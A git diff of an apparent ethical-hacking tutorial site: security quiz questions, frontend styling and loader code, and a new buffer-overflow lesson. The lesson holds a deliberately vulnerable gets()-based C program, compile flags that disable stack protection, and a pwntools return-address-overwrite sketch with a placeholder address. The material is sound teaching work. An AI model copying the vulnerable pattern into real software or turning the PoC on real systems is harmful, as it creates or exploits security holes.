+B. Isolated lab VMs or CTF platforms with permission
+C. Random public websites
+D. Corporate email servers without consent
+
+5. Why never exploit systems without permission?
+A. It’s always harmless
+B. It can be illegal, unethical, and cause damage
+C. It improves the system automatically
+D. It’s required for audits
+
+6. What is a buffer overflow?
+A. A type of network scan
+B. When a program writes more data to a buffer than it can hold, possibly allowing arbitrary code execution
+C. An encryption algorithm
+D. A firewall technique
+
+7. How does input validation help prevent exploitation?
+A. It ensures only proper, expected data is processed, reducing attack surface
+B. It slows the system intentionally
+C. It allows arbitrary commands
+D. It obfuscates stack traces
+
+8. Which are common web application vulnerabilities?
+A. SQLi, XSS, CSRF
+B. JPEG compression errors only
+C. Typo correction features
+D. Changing CSS styles
+
+9. Principle of least privilege means:
+A. Give users maximum permissions always
+B. Grant only the minimum privileges necessary for a role or process
+C. Avoid using access controls
+D. Share admin passwords with everyone
+
+10. What is responsible disclosure?
+A. Publicly releasing exploit code immediately
+B. Reporting discovered vulnerabilities privately to the owner and giving time to fix before public disclosure
+C. Selling vulnerabilities to attackers
+D. Ignoring discovered issues
+
+---
+
+## Post-Exploitation
+
+1. What does post-exploitation refer to?
+A. Activities after gaining access to assess and document impact (in a lab/test)
+B. Scanning phase only
+C. Writing exploits only
+D. Building hardware
+
+2. Typical goals of post-exploitation include:
+A. Maintain access, escalate privileges, and gather proof of concept data (in authorized engagements)
+B. Publishing user passwords publicly
+C. Destroying evidence on production systems you don’t own
+D. Automatically patching the target
+
+3. How might an attacker maintain access (in lab context)?
+A. By installing persistence mechanisms in a sanctioned lab VM for testing
+B. By stealing physical devices in the field
+C. By posting credentials on a forum
+D. By shutting down services
+
+4. Why is cleaning traces important in ethical labs?
+A. To cover illegal activity in the real world
+B. To simulate attacker behavior for remediation and reporting (only in labs)
+C. Because traces speed up the system
+D. It prevents logging
+
+5. What is pivoting?
+A. Using a compromised host to reach other network segments (in a controlled lab)
+B. Rotating encryption keys
+C. A web development technique
+D. A UI animation
+
+6. Keylogging in lab context is:
+A. Installing a keylogger on others without consent
+B. Demonstrating how keylogging works in isolated lab environments for defensive understanding
+C. Sending keys over the network for fun
+D. Monitoring production systems without authorization
+
+7. What is data exfiltration (safe simulation)?
+A. Securely copying data between two authorized lab machines to test detection
+B. Transferring stolen data to public forums
+C. Encrypting backups only on production systems
+D. Mass emailing confidential files
+
+8. How should findings be documented after post-exploitation?
+A. With clear steps, evidence, impact, and remediation recommendations (for authorized tests)
+B. By publishing exploit code and victim info online
+C. By deleting all notes
+D. With vague, unsourced claims
+
+9. What is lateral movement?
+A. Moving from one compromised host to others within a network (lab-only practice)
+B. Physical movement of devices between rooms
+C. Rebooting a server
+D. Changing file permissions randomly
+
+10. Why must post-exploitation be tested only in isolated environments?
+A. To avoid legal and ethical violations and to prevent real-world damage
+B. Because it’s ineffective otherwise
+C. To make results public instantly
+D. Because it’s not useful
+
+---
+
+## Web Security
+
+1. What is SQL Injection (SQLi)?
+A. A method for optimizing databases
+B. Injection of malicious SQL through input to manipulate database queries
+C. An encryption technique
+D. A CSS styling issue
+
+2. Cross-Site Scripting (XSS) allows attackers to:
+A. Run malicious scripts in victims’ browsers if inputs are not properly sanitized
+B. Improve site performance
+C. Encrypt user data automatically
+D. Transfer files between servers
+
+3. What is Cross-Site Request Forgery (CSRF)?
+A. Forcing a user’s browser to perform unintended actions on a trusted site they’re authenticated to
+B. A network sniffing technique
+C. A form of SQLi only
+D. A server-side caching method
+
+4. How does HTTPS protect users?
+A. By hiding server uptime
+B. By encrypting traffic between client and server and verifying server identity
+C. By compressing images automatically
+D. By preventing all bugs
+
+5. What is input validation for web apps?
+A. Allowing any input without checks
+B. Checking and sanitizing input to ensure it conforms to expected formats and disallow injections
+C. Automatically making input uppercase
+D. Storing raw input in logs without checks
+
+6. Which is a safe tool to test web app security in a lab?
+A. sqlmap against live production without permission
+B. OWASP Juice Shop in a local environment
+C. Targeting random websites
+D. Posting login attempts publicly
+
+7. What is session hijacking?
+A. Taking over a user session by stealing or guessing session tokens (in labs used to learn defenses)
+B. Renting flight seats online
+C. A database tuning method
+D. A CSS animation
+
+8. Secure cookie attributes include:
+A. secure, httpOnly, SameSite
+B. public, writable, shareable
+C. large, small, medium
+D. transparent, opaque, vivid
+
+9. Principle of least privilege for web apps means:
+A. Grant no permissions to anyone
+B. Give services and users only the permissions they need to function
+C. Make everyone admin for convenience
+D. Avoid authentication entirely
+
+10. How should you report a web vulnerability ethically?
+A. Publish details immediately on social media
+B. Contact the site owner privately and follow responsible disclosure practices
+C. Sell the information to the highest bidder
+D. Ignore it
+
+---
+
+## Network Security
+
+1. What does a firewall do?
+A. Blocks or filters network traffic based on rules to protect networks
+B. Encrypts all emails automatically
+C. Speeds up CPU performance
+D. Scans for SQLi
+
+2. What is a VPN?
+A. A local-only file viewer
+B. Virtual Private Network that creates an encrypted tunnel for traffic
+C. A type of firewall hardware only
+D. A password manager
+
+3. Man-in-the-Middle (MitM) attack involves:
+A. Intercepting or altering communications between two parties (in lab simulations)
+B. Improving latency automatically
+C. Direct file copying between two folders only
+D. Formatting hard drives
+
+4. ARP spoofing is used to:
+A. Poison ARP caches to redirect local traffic (lab-only for learning)
+B. Encrypt files with AES
+C. Create user accounts
+D. Backup databases
+
+5. Safe simulation of DoS attacks requires:
+A. Testing against production websites you don’t own
+B. Performing tests only in isolated lab networks with consent
+C. Targeting ISP infrastructure randomly
+D. Running attacks on school networks without consent
+
+6. Symmetric vs asymmetric encryption difference:
+A. Symmetric uses same key for encrypt/decrypt; asymmetric uses a key pair (public/private)
+B. Symmetric is always slower than asymmetric
+C. They are the same concept
+D. Asymmetric uses passwords only
+
+7. Packet sniffing ethically is:
+A. Capturing traffic on networks you control to analyze protocols and detect issues
+B. Intercepting encrypted data from strangers on public Wi‑Fi without consent
+C. Selling captured data online
+D. Ignoring privacy concerns
+
+8. Common network protocols with vulnerabilities include:
+A. HTTP, FTP, Telnet (if not secured)
+B. PNG and JPG only
+C. CSS and HTML only
+D. All image formats
+
+9. Protecting against unauthorized access includes:
+A. Using strong authentication, patching, and least privilege
+B. Leaving default credentials unchanged
+C. Disabling logging entirely
+D. Publishing passwords in README
+
+10. What is network segmentation?
+A. Dividing a network into zones to limit access and improve security
+B. Merging all networks into one flat network
+C. Removing all routers
+D. Disabling firewalls
+
+---
+
+## Cryptography
+
+1. Purpose of cryptography is to:
+A. Secure confidentiality, integrity, and sometimes authenticity of data
+B. Slow down communications only
+C. Replace all passwords with plain text
+D. Remove encryption entirely
+
+2. Symmetric vs asymmetric encryption — correct statement:
+A. Symmetric uses one key; asymmetric uses a public/private key pair
+B. Symmetric uses different keys per message only
+C. Asymmetric uses the same key for both sides
+D. They are interchangeable without consequence
+
+3. What is a hash function used for?
+A. Encrypting data with a reversible key
+B. Producing a fixed-size digest representing input data (usually irreversible)
+C. Compressing images losslessly
+D. Managing network routing
+
+4. How does SSL/TLS secure communication?
+A. By using certificates and encryption to protect data in transit and verify server identity
+B. By increasing bandwidth only
+C. By converting all text to uppercase
+D. By removing cookies
+
+5. Example of a common symmetric algorithm:
+A. RSA
+B. AES
+C. SHA-256
+D. ECDSA
+
+6. Example of a common asymmetric algorithm:
+A. AES
+B. SHA-1
+C. RSA
+D. MD5
+
+7. What is a digital signature?
+A. A method to compress files
+B. A cryptographic mechanism to verify authenticity and integrity of data using private key operations
+C. A type of firewall rule
+D. A malware technique
+
+8. Public Key Infrastructure (PKI) provides:
+A. A system of keys, certificates, and CAs to validate identities and manage certificates
+B. A VPN replacement only
+C. A file server structure
+D. A web hosting service
+
+9. Key exchange methods (safe description) do:
+A. Allow parties to establish shared keys securely, e.g., Diffie–Hellman (lab study)
+B. Send keys in clear text over public channels intentionally
+C. Duplicate private keys across users
+D. Eliminate the need for encryption
+
+10. Cryptographic protocols protect data integrity by:
+A. Using checksums only (no cryptography)
+B. Applying MACs/HMACs or digital signatures to detect tampering
+C. Storing plaintext only
+D. Disabling authentication
diff --git a/UI/frontend/src/index.css b/UI/frontend/src/index.css
index 08a3ac9..ed431ae 100644
--- a/UI/frontend/src/index.css
+++ b/UI/frontend/src/index.css
@@ -1,11 +1,22 @@
:root {
- font-family: system-ui, Avenir, Helvetica, Arial, sans-serif;
- line-height: 1.5;
+ font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', sans-serif;
+ line-height: 1.6;
font-weight: 400;
- color-scheme: light dark;
- color: rgba(255, 255, 255, 0.87);
- background-color: #242424;
+ /* Dark theme with bright green accents */
+ --bg-primary: #0a0e1a;
+ --bg-secondary: #121829;
+ --bg-tertiary: #1a2332;
+ --text-primary: #e5e7eb;
+ --text-secondary: #9ca3af;
+ --accent-green: #00ff88;
+ --accent-green-light: #33ffaa;
+ --accent-green-dark: #00cc6a;
+ --border-color: #1f2937;
+
+ color-scheme: dark;
+ color: var(--text-primary);
+ background-color: var(--bg-primary);
font-synthesis: none;
text-rendering: optimizeLegibility;
@@ -15,19 +26,19 @@
a {
font-weight: 500;
- color: #646cff;
- text-decoration: inherit;
+ color: var(--accent-green);
+ text-decoration: none;
+ transition: color 0.2s ease;
}
a:hover {
- color: #535bf2;
+ color: var(--accent-green-light);
}
body {
margin: 0;
- display: flex;
- place-items: center;
min-width: 320px;
min-height: 100vh;
+ background-color: var(--bg-primary);
}
h1 {
diff --git a/UI/frontend/src/main.jsx b/UI/frontend/src/main.jsx
index b9a1a6d..33ae866 100644
--- a/UI/frontend/src/main.jsx
+++ b/UI/frontend/src/main.jsx
@@ -1,8 +1,12 @@
import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
+import { Buffer } from 'buffer'
import './index.css'
import App from './App.jsx'
+// Polyfill Buffer for browser environment (needed by gray-matter)
+window.Buffer = Buffer
+
createRoot(document.getElementById('root')).render(
diff --git a/UI/frontend/src/pages/LessonPage.css b/UI/frontend/src/pages/LessonPage.css
new file mode 100644
index 0000000..65a1b10
--- /dev/null
+++ b/UI/frontend/src/pages/LessonPage.css
@@ -0,0 +1,75 @@
+.page-content {
+ display: flex;
+ flex-direction: column;
+ align-items: center;
+ justify-content: flex-start;
+ min-height: 100vh;
+ width: 100%;
+ overflow-x: hidden;
+ background-color: var(--bg-primary);
+}
+
+@media (max-width: 768px) {
+ .page-content {
+ padding: 0.5rem;
+ }
+}
+
+nav.home-button {
+ width: 100%;
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ padding: 1.5rem 3rem;
+ background: var(--bg-secondary);
+ border-bottom: 1px solid var(--border-color);
+ box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
+}
+
+.home-title-link {
+ text-decoration: none;
+ color:aqua;
+ display: flex;
+ align-items: center;
+ gap: 0.5rem;
+}
+
+.home-title {
+ color: var(--accent-green);
+ font-size: 2rem;
+ font-weight: 800;
+ margin: 0;
+ letter-spacing: -0.5px;
+ transition: color 0.2s;
+ background: linear-gradient(135deg, var(--accent-green) 0%, var(--accent-green-light) 100%);
+ -webkit-background-clip: text;
+ -webkit-text-fill-color: transparent;
+ background-clip: text;
+}
+
+.home-title-link:hover .home-title {
+ background:rgb(255, 255, 255);
+ -webkit-background-clip: text;
+ -webkit-text-fill-color: transparent;
+ background-clip: text;
+}
+
+nav.home-button a {
+ color: var(--text-primary);
+ font-size: 1rem;
+ text-decoration: none;
+ margin-left: 2rem;
+ padding: 0.6rem 1.4rem;
+ border-radius: 6px;
+ background: transparent;
+ border: 1px solid var(--accent-green);
+ transition: all 0.2s;
+ font-weight: 600;
+}
+
+nav.home-button a:hover {
+ background: var(--accent-green);
+ color: #0a0e1a;
+ transform: translateY(-2px);
+ box-shadow: 0 4px 12px rgba(16, 185, 129, 0.3);
+}
\ No newline at end of file
diff --git a/UI/frontend/src/pages/LessonPage.jsx b/UI/frontend/src/pages/LessonPage.jsx
new file mode 100644
index 0000000..e1b26c1
--- /dev/null
+++ b/UI/frontend/src/pages/LessonPage.jsx
@@ -0,0 +1,48 @@
+import React, { useEffect, useState } from 'react';
+import { useParams } from 'react-router-dom';
+import { getLessonBySlug, getNavigation } from '../utils/markdownloader';
+import LessonTemplate from '../components/LessonTemplate';
+import Navbar from '../components/Navbar';
+import './LessonPage.css';
+
+export default function LessonPage() {
+ const { slug } = useParams();
+ const [lesson, setLesson] = useState(null);
+ const [navigation, setNavigation] = useState({ prev: null, next: null });
+ const [loading, setLoading] = useState(true);
+
+ useEffect(() => {
+ window.scrollTo(0, 0);
+ setLoading(true);
+ try {
+ const currentLesson = getLessonBySlug(slug);
+ setLesson(currentLesson);
+ if (currentLesson) {
+ setNavigation(getNavigation(slug));
+ }
+ } catch (error) {
+ console.error('Error loading lesson:', error);
+ setLesson(null);
+ } finally {
+ setLoading(false);
+ }
+ }, [slug]);
+
+ if (loading) {
+ return (
+
+
+
+ Loading lesson...
+
+
+ );
+ }
+
+ return (
+
+
+
+
+ );
+}
diff --git a/UI/frontend/src/utils/markdownloader.js b/UI/frontend/src/utils/markdownloader.js
new file mode 100644
index 0000000..9bc9640
--- /dev/null
+++ b/UI/frontend/src/utils/markdownloader.js
@@ -0,0 +1,105 @@
+import matter from 'gray-matter';
+
+// Import all .md files from the MD_Content_ethical-hacking folder and its subfolders
+// Using Vite's import.meta.glob for dynamic imports
+const mdFiles = import.meta.glob('/src/content/MD_Content_ethical-hacking/**/*.md', {
+ query: '?raw',
+ import: 'default',
+ eager: true
+});
+
+// Debug: Log what files were found
+console.log('📁 Markdown files found:', Object.keys(mdFiles));
+console.log('📊 Total files:', Object.keys(mdFiles).length);
+
+/**
+ * Get all lessons from markdown files
+ * @returns {Array} Array of lesson objects with frontmatter and content
+ */
+export function getAllLessons() {
+ const lessons = [];
+
+ console.log('🔍 Starting to process lessons...');
+
+ Object.entries(mdFiles).forEach(([filepath, content]) => {
+ try {
+ // Parse frontmatter and content from markdown file
+ const { data, content: markdownContent } = matter(content);
+
+ console.log('✅ Parsed:', filepath, 'with slug:', data.slug);
+
+ // Extract slug from frontmatter or filename
+ const slug = data.slug || filepath.split('/').pop().replace('.md', '');
+
+ lessons.push({
+ slug,
+ filepath,
+ frontmatter: data,
+ content: markdownContent
+ });
+ } catch (error) {
+ console.error(`Error parsing ${filepath}:`, error);
+ }
+ });
+
+ // Sort by order field in frontmatter
+ const sorted = lessons.sort((a, b) => {
+ const orderA = a.frontmatter.order || 999;
+ const orderB = b.frontmatter.order || 999;
+ return orderA - orderB;
+ });
+
+ console.log('📚 Total lessons loaded:', sorted.length);
+ console.log('📋 Lesson slugs:', sorted.map(l => l.slug));
+
+ return sorted;
+}
+
+/**
+ * Get a single lesson by its slug
+ * @param {string} slug - The lesson slug
+ * @returns {Object|null} Lesson object or null if not found
+ */
+export function getLessonBySlug(slug) {
+ const lessons = getAllLessons();
+ return lessons.find(lesson => lesson.slug === slug) || null;
+}
+
+/**
+ * Get navigation (previous and next lessons) for a given lesson
+ * @param {string} currentSlug - The current lesson slug
+ * @returns {Object} Object with prev and next lesson objects
+ */
+export function getNavigation(currentSlug) {
+ const lessons = getAllLessons();
+ const currentIndex = lessons.findIndex(l => l.slug === currentSlug);
+
+ if (currentIndex === -1) {
+ return { prev: null, next: null };
+ }
+
+ return {
+ prev: currentIndex > 0 ? lessons[currentIndex - 1] : null,
+ next: currentIndex < lessons.length - 1 ? lessons[currentIndex + 1] : null
+ };
+}
+
+/**
+ * Get lessons by category
+ * @param {string} category - The category to filter by
+ * @returns {Array} Array of lessons in that category
+ */
+export function getLessonsByCategory(category) {
+ const lessons = getAllLessons();
+ return lessons.filter(lesson => lesson.frontmatter.category === category);
+}
+
+/**
+ * Get all unique categories
+ * @returns {Array} Array of unique category names
+ */
+export function getCategories() {
+ const lessons = getAllLessons();
+ const categories = lessons.map(lesson => lesson.frontmatter.category);
+ return [...new Set(categories)].filter(Boolean);
+}
diff --git a/UI/frontend/vite.config.js b/UI/frontend/vite.config.js
index 8b0f57b..c84e1b4 100644
--- a/UI/frontend/vite.config.js
+++ b/UI/frontend/vite.config.js
@@ -1,7 +1,20 @@
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
+import { Buffer } from 'buffer'
// https://vite.dev/config/
export default defineConfig({
plugins: [react()],
+ assetsInclude: ['**/*.md'], // Treat .md files as assets
+ define: {
+ global: 'globalThis',
+ },
+ resolve: {
+ alias: {
+ buffer: 'buffer',
+ },
+ },
+ optimizeDeps: {
+ include: ['buffer'],
+ },
})
diff --git a/cli-editors-tutorials/assets/images/check-emacs-version.png b/cli-editors-tutorials/assets/images/check-emacs-version.png
index 2a1d546..d30f5ca 100644
Binary files a/cli-editors-tutorials/assets/images/check-emacs-version.png and b/cli-editors-tutorials/assets/images/check-emacs-version.png differ
diff --git a/cli-editors-tutorials/assets/images/emacs-editing-a-file.png b/cli-editors-tutorials/assets/images/emacs-editing-a-file.png
index adc4f75..2211938 100644
Binary files a/cli-editors-tutorials/assets/images/emacs-editing-a-file.png and b/cli-editors-tutorials/assets/images/emacs-editing-a-file.png differ
diff --git a/cli-editors-tutorials/assets/images/emacs-in-terminal.png b/cli-editors-tutorials/assets/images/emacs-in-terminal.png
index dfd3562..81c9ee8 100644
Binary files a/cli-editors-tutorials/assets/images/emacs-in-terminal.png and b/cli-editors-tutorials/assets/images/emacs-in-terminal.png differ
diff --git a/cli-editors-tutorials/assets/images/emacs-interface.png b/cli-editors-tutorials/assets/images/emacs-interface.png
index 427f58a..28ed33e 100644
Binary files a/cli-editors-tutorials/assets/images/emacs-interface.png and b/cli-editors-tutorials/assets/images/emacs-interface.png differ
diff --git a/cli-editors-tutorials/assets/images/emacs-logo-png.png b/cli-editors-tutorials/assets/images/emacs-logo-png.png
index a4f8eb1..81fa978 100644
Binary files a/cli-editors-tutorials/assets/images/emacs-logo-png.png and b/cli-editors-tutorials/assets/images/emacs-logo-png.png differ
diff --git a/cli-editors-tutorials/assets/images/emacs-with-window.png b/cli-editors-tutorials/assets/images/emacs-with-window.png
index 796307c..ba5aa3b 100644
Binary files a/cli-editors-tutorials/assets/images/emacs-with-window.png and b/cli-editors-tutorials/assets/images/emacs-with-window.png differ
diff --git a/ethical-hacking/.DS_Store b/ethical-hacking/.DS_Store
deleted file mode 100644
index 5008ddf..0000000
Binary files a/ethical-hacking/.DS_Store and /dev/null differ
diff --git a/ethical-hacking/Binary-Exploitation.md b/ethical-hacking/Binary-Exploitation.md
new file mode 100644
index 0000000..01d52f0
--- /dev/null
+++ b/ethical-hacking/Binary-Exploitation.md
@@ -0,0 +1,175 @@
+---
+title: "Introduction to Buffer Overflow"
+slug: "binary-exploitation"
+order: 12
+category: "ethical-hacking"
+prev: "lesson-phising-toolkit"
+next: "port-scanning"
+---
+
+# Introduction to Buffer Overflow: The Dangerous `gets()` Function
+
+---
+
+## My First Encounter with Buffer Overflows
+
+Let me tell you about the day I accidentally crashed my friend's demo program during a C programming class. I was just trying to input my ridiculously long name, and suddenly—**SEGMENTATION FAULT**. My friend stared at me in disbelief. That's when I learned about one of the most notorious functions in C: `gets()`.
+
+## What is a Buffer Overflow?
+
+Think of a buffer like a parking lot with exactly 10 spaces. A buffer overflow is like trying to park 15 cars in those 10 spaces—the extra cars spill over into the neighboring area, potentially causing chaos. In programming terms, it's when data exceeds the allocated memory space and overwrites adjacent memory locations.
+
+## The Culprit: `gets()` Function
+
+The `gets()` function reads a line from standard input and stores it in a buffer. Sounds innocent, right? **WRONG.** Here's why it's considered one of the most dangerous functions in C:
+
+```c
+char buffer[50];
+gets(buffer); // This is a ticking time bomb!
+```
+
+The problem? `gets()` has **no bounds checking**. It doesn't care if your buffer can hold 50 characters—if you input 100 characters, it'll happily write all 100, obliterating whatever was stored in the memory after your buffer.
+
+## A Simple Example That Shows the Problem
+
+Let me show you a vulnerable program I wrote during my learning journey:
+
+```c
+#include
+#include
+
+void vulnerable_function() {
+ char buffer[64];
+ printf("Enter your name: ");
+ gets(buffer); // The dangerous line
+ printf("Hello, %s!\n", buffer);
+}
+
+int main() {
+ vulnerable_function();
+ return 0;
+}
+```
+
+### What Happens When Things Go Wrong?
+
+1. **Normal input**: "Alice" → Everything works fine
+2. **Long input**: "A" repeated 100 times → **CRASH!**
+
+When you input more than 64 characters, the excess data overwrites:
+
+- Return address on the stack
+- Other local variables
+- Potentially critical system data
+
+## The Anatomy of the Attack
+
+Here's what I discovered happens during a buffer overflow:
+
+```
+Stack Layout (simplified):
++------------------+ <- Higher memory addresses
+| Return Address |
++------------------+
+| Saved Frame Ptr |
++------------------+
+| buffer[63] |
+| buffer[62] |
+| ... |
+| buffer[1] |
+| buffer[0] | <- Lower memory addresses
++------------------+
+```
+
+When `gets()` doesn't check bounds:
+
+- Characters 0-63: Fill the buffer normally
+- Characters 64+: **Overwrite the return address!**
+
+## Why This Matters (Beyond Crashing Programs)
+
+Initially, I thought buffer overflows just caused crashes. Boy, was I naive! Attackers can:
+
+1. **Control program execution** by overwriting return addresses
+2. **Inject malicious code** into the program's memory
+3. **Escalate privileges** if the vulnerable program runs with elevated permissions
+4. **Execute arbitrary commands** on the target system
+
+## Proof of Concept: Exploiting Buffer Overflow with `gets()`
+
+To demonstrate the danger of `gets()`, let's create a simple PoC that shows how an overflow can overwrite memory and potentially control execution. **Warning: This is for educational purposes only. Never run vulnerable code in production or on systems you don't own.**
+
+### Vulnerable Program (poc.c)
+
+```c
+#include
+#include
+
+void secret_function() {
+ printf("You have successfully exploited the buffer overflow!\n");
+}
+
+void vulnerable_function() {
+ char buffer[64];
+ printf("Enter input: ");
+ gets(buffer); // No bounds checking - dangerous!
+ printf("You entered: %s\n", buffer);
+}
+
+int main() {
+ vulnerable_function();
+ return 0;
+}
+```
+
+### How to Compile and Test
+
+1. Compile the program:
+
+ ```bash
+ gcc poc.c -o poc -fno-stack-protector -z execstack
+ ```
+
+ (We disable stack protections for demonstration; in real code, these prevent overflows.)
+
+2. Run it with short input:
+
+ ```bash
+ echo "Short input" | ./poc
+ ```
+
+ Output: Normal execution.
+
+3. Run with long input to cause overflow:
+ ```bash
+ python3 -c "print('A' * 80)" | ./poc
+ ```
+ This may cause a segmentation fault, as the overflow corrupts the stack.
+
+### Advanced Exploitation (Conceptual)
+
+In a real exploit, an attacker could craft input to:
+
+- Overwrite the return address with the address of `secret_function`.
+- Inject shellcode to execute arbitrary commands.
+
+For example, using tools like `pwntools` in Python:
+
+```python
+from pwn import *
+
+# Assuming the binary is vulnerable
+p = process('/poc')
+payload = b'A' * 72 + p64(0xaddress_of_secret_function) # Adjust offset and address
+p.sendline(payload)
+p.interactive()
+```
+
+This PoC illustrates why `gets()` is banned in secure coding—always use `fgets()` instead for bounds-checked input.
+
+---
+
+### Path
+
+<- [Previous Lesson: Phishing Toolkits](/lesson-phising-toolkit.md)
+->[Next Lession: IP & Port Scanning](/python-for-eth-hacking/A-guide-to-port-scanning.md)
diff --git a/ethical-hacking/ids-probe-lesson.md b/ethical-hacking/ids-probe-lesson.md
index d515e4b..ad3314c 100644
--- a/ethical-hacking/ids-probe-lesson.md
+++ b/ethical-hacking/ids-probe-lesson.md
@@ -1,3 +1,12 @@
+---
+title: "IDS Probe — Lesson & How-To"
+slug: "ids-probe-lesson"
+order: 15
+category: "python-for-ethical-hacking"
+prev: "mac-address-changer"
+next: null
+---
+
# IDS Probe — Lesson & How-To
diff --git a/ethical-hacking/image.png b/ethical-hacking/image.png
index d12330c..2ddf631 100644
Binary files a/ethical-hacking/image.png and b/ethical-hacking/image.png differ
diff --git a/ethical-hacking/lesson-01.md b/ethical-hacking/lesson-01.md
index 001edd3..f7c358c 100644
--- a/ethical-hacking/lesson-01.md
+++ b/ethical-hacking/lesson-01.md
@@ -1,6 +1,15 @@
+---
+title: "Getting Started with Ethical Hacking"
+slug: "lesson-01"
+order: 1
+category: "ethical-hacking"
+prev: null
+next: "lesson-02"
+---
+
# Getting Started with Ethical Hacking
-
+
- [Getting Started with Ethical Hacking](#getting-started-with-ethical-hacking)
@@ -29,7 +38,7 @@
---
-
+
- Hacking is getting unauthorized access to a system.
- Hackers generally are of three types:
@@ -59,7 +68,7 @@
### Virtualization
- 
+ 
- What we are utilising here to have these VMs is called Virtualization. Virtualization allows you to Run Guest OS on top of Hypervisor over Host OS. This is different from concept of Containerizartion, where we run apps over the Docker Engine, and all apps sharing a common Host OS. This is not the case with Virtualization.
@@ -88,7 +97,7 @@
- It will recieve `google.com` from the internet, and will forward that response to our computer, and as a result we will see the website loading on our browser.
- 
+ 
## Connecting Wireless adapter to Kali 
@@ -395,7 +404,6 @@ RSA is strong in theory, but weak in practice if misused:
---
+### Path
-## Path
-
-[Next Lesson: Network Hacking: Pre-Connection Attacks](./lesson-02.md)
\ No newline at end of file
+[Next Lesson: Network Hacking - Pre Connection Attacks](/lesson-02.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-02.md b/ethical-hacking/lesson-02.md
index 0c6a75e..be97099 100644
--- a/ethical-hacking/lesson-02.md
+++ b/ethical-hacking/lesson-02.md
@@ -1,3 +1,12 @@
+---
+title: "Network Hacking - Pre Connection Attacks"
+slug: "lesson-02"
+order: 2
+category: "ethical-hacking"
+prev: "lesson-01"
+next: "lesson-03"
+---
+
# Network Hacking - Pre Connection Attacks
@@ -10,7 +19,7 @@
---
-
+
## Packet Sniffing Basics
@@ -214,7 +223,7 @@
Quitting...
```
- 
+ 
- Let's write down a Python script to automate this process of deauthentication attack. The script will take the wireless interface name, target client MAC address, and gateway (AP) MAC address as input and perform the deauthentication attack.
@@ -289,4 +298,4 @@
### Path
-<- [Previous Lesson: Ethical Hacking for Beginners](./lesson-01.md) | [Next Lesson: Network Hacking: Gaining Access WEP Cracking](./lesson-03.md) ->
\ No newline at end of file
+<- [Previous Lesson: Ethical Hacking for Beginners](/lesson-01.md) | [Next Lesson: Network Hacking: Gaining Access WEP Cracking](/lesson-03.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-03.md b/ethical-hacking/lesson-03.md
index cacc536..ce9dece 100644
--- a/ethical-hacking/lesson-03.md
+++ b/ethical-hacking/lesson-03.md
@@ -1,3 +1,12 @@
+---
+title: "Network Hacking - Gaining Access WEP Cracking"
+slug: "lesson-03"
+order: 3
+category: "ethical-hacking"
+prev: "lesson-02"
+next: "lesson-04"
+---
+
# Network Hacking - Gaining Access WEP Cracking
@@ -10,7 +19,7 @@
---
-
+
- Everything we did so for now didn't require us to have access/connection to the network.
- Now, once we connect to the network, we can not only start to see the data being transmitted, but we can also start to manipulate it.
@@ -206,7 +215,7 @@ sequenceDiagram
- **Proof, this image will take you to the video where you can see me enter hex password on mobile device and connect to the network:**
- [](https://youtu.be/sLQRBuHkpw4)
+ [](https://youtu.be/sLQRBuHkpw4)
## Fake Authentication Attack
@@ -292,4 +301,4 @@ sequenceDiagram
### Path
-<- [Previous Lesson: Network Hacking - Pre Connection Attacks](./lesson-02.md) | [Next Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](./lesson-04.md) ->
\ No newline at end of file
+<- [Previous Lesson: Network Hacking - Pre Connection Attacks](/lesson-02.md) | [Next Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](/lesson-04.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-04.md b/ethical-hacking/lesson-04.md
index 8329d7a..7d64170 100644
--- a/ethical-hacking/lesson-04.md
+++ b/ethical-hacking/lesson-04.md
@@ -1,6 +1,15 @@
+---
+title: "Network Hacking - Gaining Access - WPA/WPA2 Cracking"
+slug: "lesson-04"
+order: 4
+category: "ethical-hacking"
+prev: "lesson-03"
+next: "lesson-05"
+---
+
# Network Hacking - Gaining Access - WPA/WPA2 Cracking
-
+
---
@@ -542,7 +551,7 @@
- **We will use the WPA-PSK at the end of the `reaver` logs to connect to the wifi. Below is the video proof that we can connect to the wifi using the cracked WPA-PSK.**
- [](https://youtu.be/stE-FNupm0o)
+ [](https://youtu.be/stE-FNupm0o)
- Also, you might be thinking, why we needed to run a fake authentication attack using `aireplay-ng`? The answer is simple, we needed to associate with the access point to be able to send EAPOL packets, if not associated the network would have just ignored us.
@@ -704,7 +713,7 @@
- You can use this password to connect to the target network. Here's the proof of my Wifi Password.
- 
+ 
## Configuring Wireless Settings for Maximum Security
@@ -720,4 +729,4 @@
### Path
-<- [Previous Lesson: Network Hacking: Gaining Access WEP Cracking](./lesson-03.md) | [Next Lesson: Network Hacking Post Connection Attacks - Information Gathering](./lesson-05.md) ->
\ No newline at end of file
+<- [Previous Lesson: Network Hacking: Gaining Access WEP Cracking](/lesson-03.md) | [Next Lesson: Network Hacking Post Connection Attacks - Information Gathering](/lesson-05.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-05.md b/ethical-hacking/lesson-05.md
index 6a88981..9f9d226 100644
--- a/ethical-hacking/lesson-05.md
+++ b/ethical-hacking/lesson-05.md
@@ -1,6 +1,15 @@
+---
+title: "Network Hacking Post Connection Attacks - Information Gathering"
+slug: "lesson-05"
+order: 5
+category: "ethical-hacking"
+prev: "lesson-04"
+next: "lesson-06"
+---
+
# Network Hacking Post Connection Attacks - Information Gathering
-
+
- [Network Hacking Post Connection Attacks - Information Gathering](#network-hacking-post-connection-attacks---information-gathering)
- [Discovering Devices Connected to the Same Network](#discovering-devices-connected-to-the-same-network)
@@ -71,32 +80,32 @@
root@kali:~# zenmap
```
- 
+ 
- It has a very simple interface. You can enter the target IP address or hostname in the "Target" field, and then select the type of scan you want to perform from the "Profile" dropdown menu.
- Enter the target range in the "Target" field, for example `XX.XX.XX.1/24`, and select the "Intense Scan" profile from the dropdown menu. Then click on the "Scan" button to start the scan.
- 
+ 
- As you can see here, it is scanning the target range for open ports, services running on those ports, and even the operating system of the device. It will take some time to complete the scan, depending on the size of the target range and the number of devices connected to it.
- Let's see how to perform a ping scan:
- 
+ 
